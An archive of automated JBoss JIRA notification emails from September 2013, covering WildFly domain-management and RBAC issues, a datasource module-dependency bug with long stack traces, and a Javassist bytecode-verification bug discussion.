This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 15:47:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 11 Sep 2013 15:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1955) Failed to read hosts
In-Reply-To: <JIRA.12499345.1377514114000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499345.1377514114000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499345.1377514114000.22306.1378928823580@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1955?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry reassigned WFLY-1955:
--------------------------------------

    Assignee: Heiko Braun  (was: Brian Stansberry)


I'm assigning this back to you, Heiko, to verify this is still an issue. I can't reproduce. Perhaps it was a temporary thing while pieces of RBAC hadn't been backported.
                
> Failed to read hosts
> --------------------
>
>                 Key: WFLY-1955
>                 URL: https://issues.jboss.org/browse/WFLY-1955
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>              Labels: eap6.x
>             Fix For: 8.0.0.Beta1
>
>         Attachments: WFLY-1955-reproduce.txt
>
>
> Steps top reproduce:
> 1) Start domain
> 2) set server into reload state (transactions > statistics=true)
> 3) stop server from CLI (or web console) 
> 4) execute CLI command:
> {noformat}
> [domain at localhost:9999 /] :read-children-resources(child-type=host)
> {
>     "outcome" => "failed",
>     "rolled-back" => true
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 16:18:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 11 Sep 2013 16:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2037) Login as user with no role
 assigned leads to 500 error page
In-Reply-To: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500302.1378733298000.22341.1378930683494@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2037?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803668#comment-12803668 ] 

Brian Stansberry commented on WFLY-2037:
----------------------------------------

I agree with your main points, Darran.

Any default role mapping needs to be explicitly configured. Corporate authentication stores may have thousands of valid users who should have no ability at all to access server administration. IMO the mapping should be done via an "include-all" specification on some role mapping, whichever one(s) the user chooses.

I don't mind providing such a mapping for the Monitor role in our default configs to improve out of the box experience, since it can be turned off. Although, IIRC you've proposed dropping the existing access control config from our default config files???

Re: "That potentially even eliminates the need for the 'simple' access control provider."

The "simple" provider behavior needs to remain a completely no-configuration option, as this is a requirement for backward compatibility. A user upgrading to EAP 6.2 cannot be required to add RBAC config to their existing configuration document to retain existing behavior. So this rules out dropping the current approach and replacing it with "include-all" for the SuperUser role mapping config.
                
> Login as user with no role assigned leads to 500 error page
> -----------------------------------------------------------
>
>                 Key: WFLY-2037
>                 URL: https://issues.jboss.org/browse/WFLY-2037
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> Some message other than the default 500 error page should be displayed in such case. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 17:25:04 2013
From: jira-events at lists.jboss.org (Dordoriko Beanie (JIRA))
Date: Wed, 11 Sep 2013 17:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JASSIST-204) Getting
 java.lang.VerifyError when adding try/catch to a method using
 CtMethod.insertAfter,
 if the method returns when the JVM stack is not empty - Inconsistent stack
 height 0 != 1, or Inconsistent stackmap frames at branch target
In-Reply-To: <JIRA.12494668.1371664244000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494668.1371664244000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494668.1371664244000.22387.1378934704343@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JASSIST-204?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803677#comment-12803677 ] 

Dordoriko Beanie commented on JASSIST-204:
------------------------------------------

Hello again Chiba-san,

I apologize for the late reply, I did not understand that you were awaiting my response.
I think that either one of the approaches that you suggested can be implemented in such a way that it will have zero cost for "normal" cases (assuming that you have the ability to calculate the stack depth for any given instruction)

- Find out the return statements or exception handling points that should be covered, and calculate the stack depth for each
Then either -
- Generate a copy of the 'insert after' statements per stack depth (and not per return point)
- Perform the goto to the correct 'insert after' chunk according to the stack depth of the particular point
Or - 
- Generate one copy of the 'insert after' statements, preceded by N pop instructions, N equal the maximum stack depth that was detected minus the minimum stack depth that was detected
- Perform the goto to the correct pop instruction, or directly to the first real instruction of 'insert after' for the least-deep return points

I believe that in both of these approaches you should be able to produce identical bytecodes for 'normal' cases that worked correctly before (because obviously in all those cases the stack depths were equal, otherwise the verify would have failed for the 'merged' points).
Then, the cost for 'unusual' cases like this one is not such a big worry - hopefully they are rare.

I have a slight preference for the code duplication approach over the dummy pop approach, but I suppose that if one approach is less complex to implement then it's fine either way.

Note that a synthetic case can be formed where the size penalty of the pop approach will be bigger (if there are two return statements with stack depth differing by 100 or so), but this is just theoretical, in reality I don't think there will be more than one or two pops.


Thank you very much,
 Dori

                
> Getting java.lang.VerifyError when adding try/catch to a method using CtMethod.insertAfter, if the method returns when the JVM stack is not empty - Inconsistent stack height 0 != 1, or Inconsistent stackmap frames at branch target
> --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: JASSIST-204
>                 URL: https://issues.jboss.org/browse/JASSIST-204
>             Project: Javassist
>          Issue Type: Bug
>    Affects Versions: 3.17.0-GA, 3.18.0-GA
>         Environment: Occurred on Windows with standard HotSpot JVM (1.6.0_24, 1.7.0_21, ..), also with IBM J9 JVM on AIX etc.
>            Reporter: Dordoriko Beanie
>            Assignee: Shigeru Chiba
>              Labels: VerifyError, height, insertBefore, stack
>         Attachments: popnopbug.zip
>
>
> After instrumenting certain classes with insertAfter(), I am consistently getting java.lang.VerifyError when trying to load the instrumented class(either "Inconsistent stack height 0 != 1" or "Inconsistent stackmap frames at branch target", depending on whether I'm on a newer 1.7 environment or an older one).  The class was perfectly loadable prior to instrumentation, even though it exhibits a slightly unusual property that its return-type instructions are not necessarily executed when the stack is empty (not counting the return parameter, if applicable).
> The problem originally occurred with some class file that was apparently weaved by AspectJ 1.5.2a, but it was then reproduced by combining the following circumstances:
> 1) That the instrumented method has the "odd" property that it has an areturn/ireturn/return instruction which is invoked when the stack is not empty (when there are one or more values that were pushed onto the current frame and weren't popped).  Note that I was unable to produce this with a freshly compiled .java source, so instead I took a simple .class file and changed one of the popping instructions to a nop instruction using a hex editor.
> 2) That the code added by insertAfter() contains a try/catch structure or something similar (which forces the stack height to be reset in case of catch).  It is possible that this wasn't really necessary and that similar symptoms could occur by just having multiple return statements with different stack heights.
> When this happens, javassist replaces the original return-type instruction with a goto (when the stack height is N), but also adds a goto to the same label from the end of the catch clause (when the stack height is 0).
> runtest_modified_nop_java17.bat
> Exception in thread "main" java.lang.VerifyError: Inconsistent stackmap frames at branch target 35 in method com.test.HelloWorld.g()Ljava/lang/String; at offset 20
>         at java.lang.Class.getDeclaredMethods0(Native Method)
>         at java.lang.Class.privateGetDeclaredMethods(Unknown Source)
>         at java.lang.Class.getMethod0(Unknown Source)
>         at java.lang.Class.getMethod(Unknown Source)
>         at sun.launcher.LauncherHelper.getMainMethod(Unknown Source)
>         at sun.launcher.LauncherHelper.checkAndLoadMain(Unknown Source)
> runtest_modified_nop_java12.bat
> Exception in thread "main" java.lang.VerifyError: (class: com/test/HelloWorld, method: g signature: ()Ljava/lang/String;) Inconsistent stack height 0 != 1
>         at java.lang.Class.getDeclaredMethods0(Native Method)
>         at java.lang.Class.privateGetDeclaredMethods(Unknown Source)
>         at java.lang.Class.getMethod0(Unknown Source)
>         at java.lang.Class.getMethod(Unknown Source)
>         at sun.launcher.LauncherHelper.getMainMethod(Unknown Source)
>         at sun.launcher.LauncherHelper.checkAndLoadMain(Unknown Source)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 20:30:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 11 Sep 2013 20:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1977) Add configuration attribute
 for PERMISSIVE vs REJECTING role combinations
In-Reply-To: <JIRA.12499709.1377890200000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499709.1377890200000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499709.1377890200000.22487.1378945803385@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1977?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1977:
-----------------------------------

    Assignee: Brian Stansberry

    
> Add configuration attribute for PERMISSIVE vs REJECTING role combinations
> -------------------------------------------------------------------------
>
>                 Key: WFLY-1977
>                 URL: https://issues.jboss.org/browse/WFLY-1977
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> The code implements PERMISSIVE, which is the default. Need a hook to turn on REJECTING, which should generate a role mapping exception if > 1 role is mapped.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 01:00:15 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 01:00:15 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.22564.1378962015044@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2047:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1007181

    
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 01:00:15 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 01:00:15 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.22568.1378962015521@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803697#comment-12803697 ] 

RH Bugzilla Integration commented on WFLY-2047:
-----------------------------------------------

Jay SenSharma <jsenshar at redhat.com> made a comment on [bug 1007181|https://bugzilla.redhat.com/show_bug.cgi?id=1007181]

Description of problem:
------------------------



If a DataSource is created as following:
++++++++++++++++
<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
<connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
<driver>oracle</driver>
<pool>
<min-pool-size>1</min-pool-size>
<max-pool-size>15</max-pool-size>
</pool>
<security>
<user-name>Test</user-name>
<password>testPassword</password>
</security>
</datasource>

<drivers>
<driver name="oracle" module="com.oracle.jdbc6">
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
</driver>
<driver name="h2" module="com.h2database.h2">
<xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
</driver>
</drivers>
++++++++++++++++

Then while testing the DataSource the Wildfly throws the following Exception:

+++++++++++++++++++++
16:47:10,498 WARN [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]

++++++++++++++++++++++



Version-Release number of selected component (if applicable):


How reproducible:
----------------




Steps to Reproduce:
1. Create the above mentioned DataSource using the "ldap://" protocol in the "connection-url" attribute of the dataSource and then run the CLI command to test the DataSource connections.

2.  /subsystem=datasources/data-source=test_pool:test-connection-in-pool

3. Check JBoss Console  output to see the above error.

Actual results:
See above exception


Expected results:
 Test Connection from DataSource should have returned Successful results.

Additional info:
                
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
